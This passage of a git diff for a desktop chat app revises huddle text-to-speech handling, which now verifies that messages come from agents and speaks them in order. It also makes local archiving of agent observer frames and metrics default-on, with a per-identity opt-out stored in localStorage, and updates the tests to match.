+export function useHuddleSpeakerActivity() {
+  const [remoteActiveSpeakers, setRemoteActiveSpeakers] = React.useState<
+    string[]
+  >([]);
+  const [remoteSpeakerLevels, setRemoteSpeakerLevels] = React.useState<
+    Record<string, number>
+  >({});
+  const [ttsSpeakerActivity, setTtsSpeakerActivity] =
+    React.useState<TtsSpeakerActivity | null>(null);
+
+  const activeSpeakers = React.useMemo(() => {
+    if (!ttsSpeakerActivity) return remoteActiveSpeakers;
+    const normalizedTtsPubkey = ttsSpeakerActivity.pubkey.toLowerCase();
+    if (
+      remoteActiveSpeakers.some(
+        (pubkey) => pubkey.toLowerCase() === normalizedTtsPubkey,
+      )
+    ) {
+      return remoteActiveSpeakers;
+    }
+    return [...remoteActiveSpeakers, ttsSpeakerActivity.pubkey];
+  }, [remoteActiveSpeakers, ttsSpeakerActivity]);
+
+  const speakerLevels = React.useMemo(() => {
+    if (!ttsSpeakerActivity) return remoteSpeakerLevels;
+    return {
+      ...remoteSpeakerLevels,
+      [ttsSpeakerActivity.pubkey]: Math.max(
+        remoteSpeakerLevels[ttsSpeakerActivity.pubkey] ?? 0,
+        ttsSpeakerActivity.level,
+      ),
+    };
+  }, [remoteSpeakerLevels, ttsSpeakerActivity]);
+
+  React.useEffect(() => {
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    listen<Record<string, number>>("huddle-speaker-levels", (event) => {
+      if (!cancelled) setRemoteSpeakerLevels(event.payload);
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, []);
+
+  React.useEffect(() => {
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    listen<{ pubkey: string | null; level: number }>(
+      "huddle-tts-speaker-level",
+      (event) => {
+        if (cancelled) return;
+        const { pubkey, level } = event.payload;
+        setTtsSpeakerActivity(
+          pubkey ? { pubkey, level: Math.min(1, Math.max(0, level)) } : null,
+        );
+      },
+    ).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, []);
+
+  React.useEffect(() => {
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    listen<string[]>("huddle-active-speakers", (event) => {
+      if (!cancelled) setRemoteActiveSpeakers(event.payload);
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, []);
+
+  const resetSpeakerActivity = React.useCallback(() => {
+    setRemoteActiveSpeakers([]);
+    setRemoteSpeakerLevels({});
+    setTtsSpeakerActivity(null);
+  }, []);
+
+  return { activeSpeakers, resetSpeakerActivity, speakerLevels };
+}
diff --git a/desktop/src/features/huddle/lib/useTtsSubscription.ts b/desktop/src/features/huddle/lib/useTtsSubscription.ts
index d534fc0166..768b511989 100644
--- a/desktop/src/features/huddle/lib/useTtsSubscription.ts
+++ b/desktop/src/features/huddle/lib/useTtsSubscription.ts
@@ -1,13 +1,31 @@
 import { invoke } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
 import * as React from "react";
 
+import { buildHuddleTtsLiveFilter } from "@/shared/api/relayChannelFilters";
 import { relayClient } from "@/shared/api/relayClient";
+import {
+  createInitialTtsReadinessGate,
+  createLatestStateGate,
+  createOrderedSpeaker,
+  routeLiveAgentText,
+} from "./ttsLiveMessages";
 
 const AGENT_PUBKEY_REFRESH_INTERVAL_MS = 30_000;
+const AGENT_VERIFICATION_RETRY_INTERVAL_MS = 400;
+const MAX_AGENT_VERIFICATION_ATTEMPTS = 8;
+const TTS_STARTUP_REPLAY_WINDOW_SECONDS = 5;
+let nextTtsRouteId = 1;
+
+function allocateTtsRouteId(): number {
+  const routeId = nextTtsRouteId;
+  nextTtsRouteId += 1;
+  return routeId;
+}
 
 /**
  * Subscribe to agent TTS messages on the ephemeral huddle channel.
- * Pipes agent kind:9 messages to `speak_agent_message` on the Rust backend.
+ * Pipes new agent message events to `speak_agent_message` on the Rust backend.
  *
  * Extracted from HuddleContext to keep file sizes manageable.
  */
@@ -20,6 +38,9 @@ export function useTtsSubscription(
 
     let disposed = false;
     let cleanup: (() => void) | null = null;
+    let unlistenHuddleState: (() => void) | null = null;
+    let ttsStateKnown = false;
+    let agentVerificationRetryId: number | null = null;
 
     // ── Agent identity (authoritative, fail-closed) ───────────────────────
     //
@@ -33,66 +54,238 @@ export function useTtsSubscription(
     let agentsLoaded = false;
     const agentPubkeys = new Set<string>();
 
-    async function loadAgentPubkeys() {
+    const speakInOrder = createOrderedSpeaker(
+      async (text, routeId, speakerPubkey) => {
+        if (!disposed) {
+          console.debug(
+            `[huddle] tts stage=invoke status=attempted route_id=${routeId}`,
+          );
+          try {
+            await invoke("speak_agent_message", {
+              text,
+              routeId,
+              speakerPubkey,
+            });
+            console.debug(
+              `[huddle] tts stage=invoke status=accepted route_id=${routeId}`,
+            );
+          } catch (error) {
+            console.warn(
+              `[huddle] tts stage=invoke status=failed reason=native_error route_id=${routeId}`,
+            );
+            throw error;
+          }
+        }
+      },
+      () => {},
+      false,
+      (routeId, reason) => {
+        console.debug(
+          `[huddle] tts stage=queue status=dropped reason=${reason} route_id=${routeId}`,
+        );
+      },
+    );
+
+    type PendingDelivery = {
+      event: Parameters<typeof routeLiveAgentText>[0];
+      routeId: number;
+    };
+    const pendingAgentVerification = new Map<
+      string,
+      PendingDelivery & { attempts: number }
+    >();
+
+    const scheduleAgentVerificationRetry = () => {
+      if (disposed || agentVerificationRetryId !== null) return;
+      agentVerificationRetryId = window.setTimeout(async () => {
+        agentVerificationRetryId = null;
+        await loadAgentPubkeys();
+        if (disposed) return;
+
+        for (const [eventId, pending] of pendingAgentVerification) {
+          if (agentPubkeys.has(pending.event.pubkey)) {
+            pendingAgentVerification.delete(eventId);
+            deliver(pending, false);
+            continue;
+          }
+          pending.attempts += 1;
+          if (pending.attempts >= MAX_AGENT_VERIFICATION_ATTEMPTS) {
+            pendingAgentVerification.delete(eventId);
+            console.debug(
+              `[huddle] tts stage=eligibility status=rejected reason=author_not_agent route_id=${pending.routeId}`,
+            );
+          }
+        }
+        if (pendingAgentVerification.size > 0) {
+          scheduleAgentVerificationRetry();
+        }
+      }, AGENT_VERIFICATION_RETRY_INTERVAL_MS);
+    };
+
+    const deliver = (
+      { event, routeId }: PendingDelivery,
+      allowAgentVerificationRetry = true,
+    ) => {
+      if (disposed) return;
+      if (!agentsLoaded) {
+        console.debug(
+          `[huddle] tts stage=eligibility status=deferred reason=membership_unavailable route_id=${routeId}`,
+        );
+        if (allowAgentVerificationRetry) {
+          pendingAgentVerification.set(event.id, {
+            event,
+            routeId,
+            attempts: 0,
+          });
+          scheduleAgentVerificationRetry();
+        }
+        return;
+      }
+      const result = routeLiveAgentText(
+        event,
+        agentPubkeys,
+        selfPubkeyRef.current,
+        ephemeralChannelId,
+        routeId,
+        (text, queuedRouteId) =>
+          speakInOrder.enqueue(text, queuedRouteId, event.pubkey),
+      );
+      if (result === "queued") {
+        console.debug(
+          `[huddle] tts stage=eligibility status=accepted route_id=${routeId}`,
+        );
+      } else {
+        if (result === "author_not_agent" && allowAgentVerificationRetry) {
+          pendingAgentVerification.set(event.id, {
+            event,
+            routeId,
+            attempts: 0,
+          });
+          console.debug(
+            `[huddle] tts stage=eligibility status=deferred reason=agent_verification_pending route_id=${routeId}`,
+          );
+          scheduleAgentVerificationRetry();
+          return;
+        }
+        const reason =
+          result === "disabled" && !ttsStateKnown
+            ? "tts_state_unknown"
+            : result;
+        console.debug(
+          `[huddle] tts stage=eligibility status=rejected reason=${reason} route_id=${routeId}`,
+        );
+      }
+    };
+    const initialReadinessGate = createInitialTtsReadinessGate(
+      deliver,
+      ({ routeId }, reason) => {
+        console.debug(
+          `[huddle] tts stage=eligibility status=rejected reason=${reason} route_id=${routeId}`,
+        );
+      },
+    );
+
+    async function loadAgentPubkeys(initial = false) {
       try {
         const pubkeys = await invoke<string[]>("get_huddle_agent_pubkeys");
+        if (disposed) return;
         agentPubkeys.clear();
         for (const pk of pubkeys) agentPubkeys.add(pk);
         agentsLoaded = true;
+        if (initial) {
+          initialReadinessGate.markMembershipKnown();
+        }
       } catch (e) {
         // Fail-closed on ALL failures, including refresh after prior success.
         // Clear the set and mark as not loaded — TTS goes mute until the
         // next successful refresh. Stale membership must never authorize speech.
         agentPubkeys.clear();
         agentsLoaded = false;
+        if (initial) {
+          initialReadinessGate.fail("membership_unavailable");
+        }
         console.error("[huddle] Failed to load agent pubkeys:", e);
       }
     }
 
     // Initial load + periodic refresh (catches mid-huddle agent additions).
-    void loadAgentPubkeys();
+    void loadAgentPubkeys(true);
     const agentRefreshId = window.setInterval(() => {
       void loadAgentPubkeys();
     }, AGENT_PUBKEY_REFRESH_INTERVAL_MS);
 
-    // ── Live-only subscription ───────────────────────────────────────────
-    // subscribeToChannelLive uses `since: now` — the relay never sends
-    // historical backlog. Every event delivered is a live message.
-    // Event-ID dedup handles reconnect replay (same event arriving twice).
+    // Install the state listener before requesting a snapshot. If a newer
+    // event arrives while IPC is pending, it supersedes the stale snapshot.
+    const ttsStateGate = createLatestStateGate<{ tts_enabled: boolean }>(
+      (state) => {
+        if (!disposed) {
+          ttsStateKnown = true;
+          speakInOrder.setEnabled(state.tts_enabled);
+          initialReadinessGate.markTtsStateKnown();
+        }
+      },
+    );
+    void listen<{ tts_enabled: boolean }>("huddle-state-changed", (event) => {
+      if (!disposed) ttsStateGate.applyEvent(event.payload);
+    })
+      .then((unlisten) => {
+        if (disposed) {
+          unlisten();
+          return;
+        }
+        unlistenHuddleState = unlisten;
+        const applyBootstrap = ttsStateGate.beginSnapshot();
+        void invoke<{ tts_enabled: boolean }>("get_huddle_state")
+          .then((state) => {
+            if (!disposed) applyBootstrap(state);
+          })
+          .catch((err) => {
+            if (!ttsStateKnown)
+              initialReadinessGate.fail("tts_state_unavailable");
+            console.warn("[huddle] Failed to load TTS state:", err);
+          });
+      })
+      .catch((err) => {
+        speakInOrder.setEnabled(false);
+        initialReadinessGate.fail("tts_state_unavailable");
+        console.warn("[huddle] Failed to listen for TTS state:", err);
+      });
+
+    // ── Live subscription with bounded startup replay ────────────────────
+    // The first agent reply can be stored while the Huddle provider is still
+    // loading its membership and TTS snapshots. Include only the preceding
+    // few seconds so that reply is recovered without replaying chat history.
+    // Event-ID dedup handles the stored/live overlap and reconnect replay.
+    const replaySince =
+      Math.floor(Date.now() / 1000) - TTS_STARTUP_REPLAY_WINDOW_SECONDS;
     const seenEventIds = new Set<string>();
     const seenOrder: string[] = [];
     const MAX_SEEN_EVENTS = 5000;
-
     relayClient
-      .subscribeToChannelLive(ephemeralChannelId, (event) => {
-        if (disposed) return;
-        // Defense-in-depth: subscription already filters to kind:9 only.
-        if (event.kind !== 9) return;
-
-        // Dedup by event ID (covers reconnect replay).
-        if (seenEventIds.has(event.id)) return;
-        seenEventIds.add(event.id);
-        seenOrder.push(event.id);
-        if (seenOrder.length > MAX_SEEN_EVENTS) {
-          const oldest = seenOrder.shift();
-          if (oldest !== undefined) seenEventIds.delete(oldest);
-        }
+      .subscribeLive(
+        buildHuddleTtsLiveFilter(ephemeralChannelId, replaySince),
+        (event) => {
+          if (disposed) return;
+          // Dedup by event ID if a relay repeats live fan-out.
+          if (seenEventIds.has(event.id)) return;
+          seenEventIds.add(event.id);
+          seenOrder.push(event.id);
+          if (seenOrder.length > MAX_SEEN_EVENTS) {
+            const oldest = seenOrder.shift();
+            if (oldest !== undefined) seenEventIds.delete(oldest);
+          }
 
-        // Fail-closed: don't speak until agent list is loaded.
-        if (!agentsLoaded) return;
-        // Only speak agent messages — skip human STT transcripts.
-        if (!agentPubkeys.has(event.pubkey)) return;
-        if (event.pubkey === selfPubkeyRef.current) return;
-        if (event.content.trim().length <= 1) return;
-        // Legacy: skip [System]-prefixed messages from before kind:48106.
-        if (event.content.startsWith("[System]")) return;
-        invoke("speak_agent_message", { text: event.content }).catch((err) => {
-          console.warn(
-            "[huddle] TTS speak failed (backpressure or pipeline unavailable):",
-            err,
-          );
-        });
-      })
+          // Preserve arrival order until initial membership and TTS state are
+          // both known. A failed readiness check clears this buffer fail-closed.
+          const routeId = allocateTtsRouteId();
+          if (!agentsLoaded) {
+            console.debug(
+              `[huddle] tts stage=eligibility status=deferred reason=membership_unavailable route_id=${routeId}`,
+            );
+          }
+          initialReadinessGate.push({ event, routeId });
+        },
+      )
       .then((dispose) => {
         if (disposed) {
           void dispose();
@@ -106,8 +299,14 @@ export function useTtsSubscription(
 
     return () => {
       disposed = true;
+      speakInOrder.setEnabled(false);
       cleanup?.();
+      unlistenHuddleState?.();
       window.clearInterval(agentRefreshId);
+      if (agentVerificationRetryId !== null) {
+        window.clearTimeout(agentVerificationRetryId);
+      }
+      pendingAgentVerification.clear();
     };
   }, [ephemeralChannelId, selfPubkeyRef]);
 }
diff --git a/desktop/src/features/local-archive/observerArchivePreference.ts b/desktop/src/features/local-archive/observerArchivePreference.ts
new file mode 100644
index 0000000000..53748e7d8b
--- /dev/null
+++ b/desktop/src/features/local-archive/observerArchivePreference.ts
@@ -0,0 +1,85 @@
+/**
+ * Persists whether the user has made an explicit choice about the
+ * observer-frame archive default-on feature.
+ *
+ * The key is identity-scoped so toggling off on one identity doesn't suppress
+ * the default-on for another identity.  The value is:
+ *   "1"  → user explicitly enabled (or accepted the default)
+ *   "0"  → user explicitly disabled
+ *   null → no explicit choice yet (default-on seeding may still fire)
+ *
+ * Device-level localStorage — intentionally not reset on community switch
+ * (the archive subscription itself is identity-scoped in SQLite; this flag
+ * is just the UI gate that prevents re-seeding after an explicit opt-out).
+ *
+ * Storage-error contract: a single read that throws is treated the same as
+ * a stored "1" (treat-as-set, fail-closed). This matches the metric-archive
+ * path: a storage error must never cause the seeding guard to fire or allow
+ * a stored opt-out to be silently overridden.
+ */
+
+const KEY_PREFIX = "buzz:observer-archive-default-seeded";
+
+function storageKey(identityPubkey: string): string {
+  return `${KEY_PREFIX}:${identityPubkey}`;
+}
+
+/**
+ * Reads the stored explicit choice for this identity in a single localStorage
+ * access.
+ *
+ * Returns:
+ *   `false`    — user explicitly opted out ("0" stored)
+ *   `true`     — user explicitly opted in ("1" stored)
+ *   `"unset"`  — no choice recorded yet
+ *
+ * On storage error, returns `true` (fail-closed: treat as already opted in,
+ * suppress auto-seeding, and never override a potentially stored opt-out).
+ */
+export function readExplicitObserverArchiveChoice(
+  identityPubkey: string,
+): boolean | "unset" {
+  if (typeof window === "undefined") return true; // SSR/test: treat as set
+  try {
+    const raw = window.localStorage.getItem(storageKey(identityPubkey));
+    if (raw === null) return "unset";
+    return raw !== "0";
+  } catch {
+    return true; // storage error → treat as set, never auto-seed
+  }
+}
+
+/**
+ * Mark that the user has made an explicit choice for this identity.
+ * `enabled` should reflect whether the `owner_p` subscription exists after
+ * the action (true = seeded/enabled, false = opted out).
+ */
+export function setExplicitObserverArchiveChoice(
+  identityPubkey: string,
+  enabled: boolean,
+): void {
+  if (typeof window === "undefined") return;
+  try {
+    window.localStorage.setItem(
+      storageKey(identityPubkey),
+      enabled ? "1" : "0",
+    );
+  } catch {
+    // Best-effort — the seeding guard will re-fire on next startup if storage
+    // is unavailable, but that is safe (merge_save_subscription_kinds is idempotent).
+  }
+}
+
+/**
+ * Clear the explicit choice for this identity (for testing / reset flows).
+ */
+export function clearExplicitObserverArchiveChoice(
+  identityPubkey: string,
+): void {
+  if (typeof window === "undefined") return;
+  try {
+    window.localStorage.removeItem(storageKey(identityPubkey));
+  } catch {
+    // ignore
+  }
+}
diff --git a/desktop/src/features/local-archive/ui/LocalArchiveSettingsCard.tsx b/desktop/src/features/local-archive/ui/LocalArchiveSettingsCard.tsx
index fbf8c506eb..f7dd331c2f 100644
--- a/desktop/src/features/local-archive/ui/LocalArchiveSettingsCard.tsx
+++ b/desktop/src/features/local-archive/ui/LocalArchiveSettingsCard.tsx
@@ -25,8 +25,8 @@ import {
   SettingsOptionRow,
 } from "@/features/settings/ui/SettingsOptionGroup";
 import { SettingsSectionHeader } from "@/features/settings/ui/SettingsSectionHeader";
-import { observerArchiveDefaultEnabled } from "@/shared/api/tauriArchive";
 import { setExplicitAgentMetricArchiveChoice } from "../agentMetricArchivePreference";
+import { setExplicitObserverArchiveChoice } from "../observerArchivePreference";
 
 import {
   buildSubscriptionRequest,
@@ -66,18 +66,16 @@ function kindSummary(kinds: number[]): string {
 
 type ObserverSectionProps = {
   enabled: boolean;
-  policy: boolean | undefined;
   toggling: boolean;
   onToggle: (checked: boolean) => void;
 };
 
 function ObserverArchiveSection({
   enabled,
-  policy,
   toggling,
   onToggle,
 }: ObserverSectionProps) {
-  const toggleDisabled = toggling || policy === undefined || policy === true;
+  const toggleDisabled = toggling;
   return (
     <div className="space-y-3" data-testid="local-archive-observer-section">
       <h2 className="text-lg font-semibold tracking-tight">
@@ -93,9 +91,7 @@ function ObserverArchiveSection({
               Archive my agents' observer frames
             </label>
             <p className="text-sm font-normal text-muted-foreground">
-              {policy === true
-                ? `Always on for internal builds. Kind ${KIND_AGENT_OBSERVER_FRAME} observer frames are ephemeral — not stored by the relay — so local archiving is the only way to retain them.`
-                : `Saves kind ${KIND_AGENT_OBSERVER_FRAME} observer frames addressed to your pubkey. These are ephemeral — not stored by the relay — so local archiving is the only way to retain them.`}
+              {`Saves kind ${KIND_AGENT_OBSERVER_FRAME} observer frames addressed to your pubkey. These are ephemeral — not stored by the relay — so local archiving is the only way to retain them.`}
             </p>
           </div>
           <Switch
@@ -392,17 +388,6 @@ export function LocalArchiveSettingsCard() {
   const [isAddingOpen, setIsAddingOpen] = React.useState(false);
   const [observerToggling, setObserverToggling] = React.useState(false);
   const [metricToggling, setMetricToggling] = React.useState(false);
-  const [observerPolicy, setObserverPolicy] = React.useState<
-    boolean | undefined
-  >(undefined);
-
-  React.useEffect(() => {
-    observerArchiveDefaultEnabled()
-      .then((on) => setObserverPolicy(on))
-      .catch(() => {
-        // Fail closed: leave as undefined so toggle stays disabled.
-      });
-  }, []);
 
   const pubkey = identityQuery.data?.pubkey ?? "";
 
@@ -465,7 +450,6 @@ export function LocalArchiveSettingsCard() {
   const handleObserverToggle = React.useCallback(
     async (checked: boolean) => {
       if (!pubkey) return;
-      if (!checked && observerPolicy !== false) return;
       setObserverToggling(true);
       try {
         if (checked) {
@@ -473,6 +457,7 @@ export function LocalArchiveSettingsCard() {
         } else {
           await removeSaveSubscriptionKind(KIND_AGENT_OBSERVER_FRAME);
         }
+        setExplicitObserverArchiveChoice(pubkey, checked);
         toast.success(
           checked
             ? "Observer feed archive enabled."
@@ -489,7 +474,7 @@ export function LocalArchiveSettingsCard() {
         setObserverToggling(false);
       }
     },
-    [pubkey, observerPolicy, reload],
+    [pubkey, reload],
   );
 
   const handleMetricToggle = React.useCallback(
@@ -539,7 +524,6 @@ export function LocalArchiveSettingsCard() {
         <ObserverArchiveSection
           enabled={observerEnabled}
           onToggle={(checked) => void handleObserverToggle(checked)}
-          policy={observerPolicy}
           toggling={observerToggling}
         />
 
diff --git a/desktop/src/features/local-archive/useAgentMetricArchiveSeed.test.mjs b/desktop/src/features/local-archive/useAgentMetricArchiveSeed.test.mjs
index 6a832b4bd3..e19b80a7f9 100644
--- a/desktop/src/features/local-archive/useAgentMetricArchiveSeed.test.mjs
+++ b/desktop/src/features/local-archive/useAgentMetricArchiveSeed.test.mjs
@@ -1,8 +1,8 @@
 /**
  * Tests for useAgentMetricArchiveSeed seeding logic.
  *
- * Mirrors the pattern in useObserverArchiveSeed.test.mjs — drives the async
- * seed logic via the deps-injection interface, no React required.
+ * Archive defaults to enabled for all builds. The seed fires for any identity
+ * without an explicit prior choice.
  */
 
 import assert from "node:assert/strict";
@@ -10,16 +10,11 @@ import test from "node:test";
 
 // ── Fake deps factory ────────────────────────────────────────────────────────
 
-function makeDeps({
-  defaultOn = false,
-  hasExplicitChoice = false,
-  mergeShouldFail = false,
-} = {}) {
+function makeDeps({ hasExplicitChoice = false, mergeShouldFail = false } = {}) {
   const calls = { mergeSaveSubscriptionKinds: [], setExplicitChoice: [] };
 
   return {
     calls,
-    agentMetricArchiveDefaultEnabled: async () => defaultOn,
     mergeSaveSubscriptionKinds: async (kind) => {
       if (mergeShouldFail) throw new Error("merge failed");
       calls.mergeSaveSubscriptionKinds.push({ kind });
@@ -39,15 +34,6 @@ async function runSeed(pubkey, deps) {
   if (!pubkey) return;
   if (deps.hasExplicitChoice(pubkey)) return;
 
-  let defaultOn;
-  try {
-    defaultOn = await deps.agentMetricArchiveDefaultEnabled();
-  } catch {
-    return;
-  }
-
-  if (!defaultOn) return;
-
   try {
     await deps.mergeSaveSubscriptionKinds(KIND_AGENT_TURN_METRIC);
   } catch {
@@ -59,8 +45,8 @@ async function runSeed(pubkey, deps) {
 
 // ── Tests ────────────────────────────────────────────────────────────────────
 
-test("test_internal_build_unset_seeds_owner_p_subscription", async () => {
-  const deps = makeDeps({ defaultOn: true, hasExplicitChoice: false });
+test("test_default_enabled_seeds_owner_p_subscription", async () => {
+  const deps = makeDeps({ hasExplicitChoice: false });
   await runSeed("pubkey123", deps);
 
   assert.equal(
@@ -72,8 +58,8 @@ test("test_internal_build_unset_seeds_owner_p_subscription", async () => {
   assert.equal(call.kind, 44200);
 });
 
-test("test_internal_build_unset_persists_explicit_choice_after_seed", async () => {
-  const deps = makeDeps({ defaultOn: true, hasExplicitChoice: false });
+test("test_default_enabled_persists_explicit_choice_after_seed", async () => {
+  const deps = makeDeps({ hasExplicitChoice: false });
   await runSeed("pubkey123", deps);
 
   assert.equal(
@@ -86,7 +72,7 @@ test("test_internal_build_unset_persists_explicit_choice_after_seed", async () =
 });
 
 test("test_explicit_choice_set_does_not_reseed", async () => {
-  const deps = makeDeps({ defaultOn: true, hasExplicitChoice: true });
+  const deps = makeDeps({ hasExplicitChoice: true });
   await runSeed("pubkey123", deps);
 
   assert.equal(
@@ -101,25 +87,8 @@ test("test_explicit_choice_set_does_not_reseed", async () => {
   );
 });
 
-test("test_oss_build_does_not_seed", async () => {
-  const deps = makeDeps({ defaultOn: false, hasExplicitChoice: false });
-  await runSeed("pubkey123", deps);
-
-  assert.equal(
-    deps.calls.mergeSaveSubscriptionKinds.length,
-    0,
-    "should not call mergeSaveSubscriptionKinds in OSS build",
-  );
-  assert.equal(
-    deps.calls.setExplicitChoice.length,
-    0,
-    "should not persist explicit choice in OSS build",
-  );
-});
-
 test("test_merge_failure_does_not_persist_explicit_choice", async () => {
   const deps = makeDeps({
-    defaultOn: true,
     hasExplicitChoice: false,
     mergeShouldFail: true,
   });
@@ -133,7 +102,7 @@ test("test_merge_failure_does_not_persist_explicit_choice", async () => {
 });
 
 test("test_empty_pubkey_does_nothing", async () => {
-  const deps = makeDeps({ defaultOn: true, hasExplicitChoice: false });
+  const deps = makeDeps({ hasExplicitChoice: false });
   await runSeed("", deps);
 
   assert.equal(deps.calls.mergeSaveSubscriptionKinds.length, 0);
@@ -141,7 +110,7 @@ test("test_empty_pubkey_does_nothing", async () => {
 });
 
 test("test_undefined_pubkey_does_nothing", async () => {
-  const deps = makeDeps({ defaultOn: true, hasExplicitChoice: false });
+  const deps = makeDeps({ hasExplicitChoice: false });
   await runSeed(undefined, deps);
 
   assert.equal(deps.calls.mergeSaveSubscriptionKinds.length, 0);
@@ -150,18 +119,9 @@ test("test_undefined_pubkey_does_nothing", async () => {
 
 // ── Concurrent-interleave test ───────────────────────────────────────────────
 //
-// Verifies the scenario Paul identified: on an internal-build first run with
-// both flags on and no prior owner_p row, the observer and metric seeds race.
-// With the old TS-side list+merge+create pattern the interleave could be:
-//
-//   1. observer seed: await list() → []
-//   2. metric seed:  await list() → []    (row not yet written)
-//   3. observer writes [24200]
-//   4. metric writes [44200]  → clobbers 24200
-//
-// The new pattern delegates the merge to Rust under a single SQLite tx.
-// Here we model that by tracking a shared "db state" and verifying that
-// running both seeds concurrently (Promise.all) leaves both kinds present.
+// Verifies the scenario where both observer and metric seeds race on first
+// run. With the atomic merge, running both seeds concurrently leaves both
+// kinds present.
 
 test("test_concurrent_seeds_both_kinds_survive", async () => {
   // Shared in-memory "db" — the atomic merge impl would serialize via SQLite
@@ -169,9 +129,8 @@ test("test_concurrent_seeds_both_kinds_survive", async () => {
   // the final state.
   const db = new Set(); // kinds present after all merges
 
-  function makeConcurrentDeps(defaultOn = true) {
+  function makeConcurrentDeps() {
     return {
-      agentMetricArchiveDefaultEnabled: async () => defaultOn,
       // Simulates the atomic merge: each call simply adds its kind to the set,
       // regardless of what was there before (atomicity guarantee).
       mergeSaveSubscriptionKinds: async (kind) => {
@@ -189,13 +148,6 @@ test("test_concurrent_seeds_both_kinds_survive", async () => {
   async function runObserverSeed(pubkey, deps) {
     if (!pubkey) return;
     if (deps.hasExplicitChoice(pubkey)) return;
-    let defaultOn;
-    try {
-      defaultOn = await deps.agentMetricArchiveDefaultEnabled();
-    } catch {
-      return;
-    }
-    if (!defaultOn) return;
     try {
       await deps.mergeSaveSubscriptionKinds(24200);
     } catch {
diff --git a/desktop/src/features/local-archive/useAgentMetricArchiveSeed.ts b/desktop/src/features/local-archive/useAgentMetricArchiveSeed.ts
index 520d0e6603..2cadaa2605 100644
--- a/desktop/src/features/local-archive/useAgentMetricArchiveSeed.ts
+++ b/desktop/src/features/local-archive/useAgentMetricArchiveSeed.ts
@@ -1,27 +1,23 @@
 /**
  * First-run seeding for agent-turn-metric archive.
  *
- * When an internal build has `BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT` set and
- * the current identity has not yet made an explicit choice, this hook
- * auto-creates an `owner_p` save subscription including kind 44200 agent turn
- * metrics, scoped to the current identity's pubkey.
+ * Archive defaults to enabled for all builds. When the current identity has
+ * not yet made an explicit choice, this hook auto-creates an `owner_p` save
+ * subscription including kind 44200 agent turn metrics, scoped to the current
+ * identity's pubkey.
  *
  * Uses `mergeSaveSubscriptionKinds` (atomic DB-side merge) so a concurrently
  * running observer seed (24200) cannot clobber this kind — the union happens
  * under a single SQLite transaction regardless of await ordering.
  *
- * OSS builds return `false` from `agent_metric_archive_default_enabled` →
- * no-op. After any explicit user action (seeding or opt-out), the localStorage
- * flag prevents re-seeding on subsequent starts.
+ * After any explicit user action (seeding or opt-out), the localStorage flag
+ * prevents re-seeding on subsequent starts.
  */
 
 import * as React from "react";
 
 import { KIND_AGENT_TURN_METRIC } from "@/shared/constants/kinds";
-import {
-  mergeSaveSubscriptionKinds,
-  agentMetricArchiveDefaultEnabled,
-} from "@/shared/api/tauriArchive";
+import { mergeSaveSubscriptionKinds } from "@/shared/api/tauriArchive";
 import {
   hasExplicitAgentMetricArchiveChoice,
   setExplicitAgentMetricArchiveChoice,
@@ -31,14 +27,12 @@ import {
  * Deps interface for testing.  Production callers pass nothing.
  */
 export interface AgentMetricArchiveSeedDeps {
-  agentMetricArchiveDefaultEnabled: () => Promise<boolean>;
   mergeSaveSubscriptionKinds: (kind: number) => Promise<void>;
   hasExplicitChoice: (pubkey: string) => boolean;
   setExplicitChoice: (pubkey: string, enabled: boolean) => void;
 }
 
 const defaultDeps: AgentMetricArchiveSeedDeps = {
-  agentMetricArchiveDefaultEnabled,
   mergeSaveSubscriptionKinds,
   hasExplicitChoice: hasExplicitAgentMetricArchiveChoice,
   setExplicitChoice: setExplicitAgentMetricArchiveChoice,
@@ -46,7 +40,7 @@ const defaultDeps: AgentMetricArchiveSeedDeps = {
 
 /**
  * Seed the agent-turn-metric archive subscription for `pubkey` once per
- * identity per device on internal builds.
+ * identity per device.
  *
  * @param pubkey - current identity pubkey.  When undefined (identity not yet
  *   loaded), the hook waits until it becomes available.
@@ -69,23 +63,7 @@ export function useAgentMetricArchiveSeed(
       // boundary — re-guard here so the call below is type-safe.
       if (!pubkey) return;
 
-      let defaultOn: boolean;
-      try {
-        defaultOn = await deps.agentMetricArchiveDefaultEnabled();
-      } catch (err) {
-        console.warn("[useAgentMetricArchiveSeed] flag check failed:", err);
-        return;
-      }
-
-      if (cancelled) return;
-
-      if (!defaultOn) {
-        // OSS build (flag off): don't persist a choice — leave null so seeding
-        // can still fire if this identity later runs an internal build.
-        return;
-      }
-
-      // Internal build + no prior choice → auto-seed via atomic DB merge.
+      // Auto-seed via atomic DB merge.
       try {
         await deps.mergeSaveSubscriptionKinds(KIND_AGENT_TURN_METRIC);
       } catch (err) {
diff --git a/desktop/src/features/local-archive/useObserverArchiveSeed.test.mjs b/desktop/src/features/local-archive/useObserverArchiveSeed.test.mjs
index ccd2498929..2cf8df00ad 100644
--- a/desktop/src/features/local-archive/useObserverArchiveSeed.test.mjs
+++ b/desktop/src/features/local-archive/useObserverArchiveSeed.test.mjs
@@ -10,23 +10,29 @@ import { ArchiveSyncManager } from "./archiveSyncManager.ts";
 
 // ── Fake deps factory ────────────────────────────────────────────────────────
 
-function makeDeps({
-  policyOn = false,
-  mergeShouldFail = false,
-  flagShouldFail = false,
-} = {}) {
+function makeDeps({ mergeShouldFail = false, explicitChoice = "unset" } = {}) {
   const calls = { merge: [] };
+  // Simulates a per-pubkey localStorage map. "unset" means no choice stored.
+  const choices = new Map();
+  if (explicitChoice !== "unset") {
+    // Pre-populate a choice for any pubkey that asks (single-pubkey tests).
+    choices.set("__default__", explicitChoice);
+  }
 
   return {
     calls,
-    observerArchiveDefaultEnabled: async () => {
-      if (flagShouldFail) throw new Error("flag check failed");
-      return policyOn;
-    },
     mergeSaveSubscriptionKinds: async (kind) => {
       if (mergeShouldFail) throw new Error("merge failed");
       calls.merge.push({ kind });
     },
+    readExplicitChoice: (pubkey) => {
+      if (choices.has(pubkey)) return choices.get(pubkey);
+      if (choices.has("__default__")) return choices.get("__default__");
